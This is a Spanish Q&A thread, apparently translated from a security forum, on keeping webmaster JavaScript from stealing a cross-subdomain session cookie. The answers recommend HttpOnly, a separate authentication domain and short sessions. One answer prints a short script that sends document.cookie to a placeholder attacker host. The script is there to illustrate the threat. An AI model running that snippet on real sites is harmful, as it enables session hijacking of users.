¿Impedir el secuestro de sesión en el servicio de blog?

3

Tengo un servicio donde los webmasters pueden crear un sitio web (incluido el uso de javascript).

Un usuario puede colocar un comentario en el sitio web de un webmaster.

Un usuario solo necesita registrarse e iniciar sesión una vez y puede publicar comentarios en todos los sitios con esta cuenta. (1 cookie para todos los subdominios)

¿Cómo puedo evitar que un sitio web "malo" obtenga la cookie con JavaScript (por ejemplo, el ID de sesión)?

Después de un poco de investigación: cifrar las cookies es un no ir, bloquear ciertas funciones de javascript es un no go, vincular las cookies a ip es un no go.

Esto se convierte en un problema difícil, pero servicios como Blogger / Blogspot lo hacen, por lo que debe ser posible.

¿Alguien tiene una idea brillante?

    
pregunta Tinus Tate 05.12.2016 - 14:57
fuente

2 respuestas

5

Puede configurar el atributo HttpOnly para evitar que un webmaster extraiga la cookie a través de incrustar algún script:

<script>
new Image().src="//attacker-site.co.uk/"+escape(document.cookie);
</script>

Sin embargo, podrían usar otros métodos para atacar al usuario, como mostrar un cuadro de inicio de sesión y pedirle al usuario que se autentique cuando intente enviar un comentario, capturando el nombre de usuario y la contraseña del usuario en el proceso.

La única forma de asegurar esto es realmente asegurarse de que enseña a los usuarios a autenticarse solo en su dominio principal.

por ejemplo www.example.com

Y tener los sitios webmaster en otro dominio.

por ejemplo mysite1.example.org , mysite2.example.org .

Al enviar un comentario, cada sitio realizaría una solicitud AJAX a www.example.com que verifica la autenticación y luego guarda el comentario si está autenticado. Esto evitaría que los webmasters tuvieran acceso a la cookie, y si intentan pedirle al usuario las credenciales, será de otro origen (dominio), por lo tanto, los usuarios no deberían enviarlos al sitio webmaster.

    
respondido por el SilverlightFox 05.12.2016 - 16:49
fuente
0

¿Suponiendo que quiere decir que quiere protegerse contra un tercero que intercepta y copia la cookie y luego la reproduce para obtener acceso?

Este tipo de ataque de repetición es un escenario que a menudo se pasa por alto. Hay un par de cosas que debes hacer:

  • Mantenga la duración de la sesión relativamente corta. Entonces, si alguien hace un ataque de reproducción exitoso, solo puede hacerlo por un corto tiempo.
  • Capture algo único para el cliente y asegúrese de revisarlo periódicamente. Un ejemplo típico de esto es cuando usa JWT, captura la dirección IP de los clientes como parte del hash en el token & Cada pocas solicitudes y / o cada pocos segundos, compruebe que el hash sigue siendo válido. Probablemente no lo hará en todas las solicitudes, ya que puede tener muchos recursos si tiene muchos usuarios.
respondido por el Julian Knight 05.12.2016 - 15:16
fuente

Lea otras preguntas en las etiquetas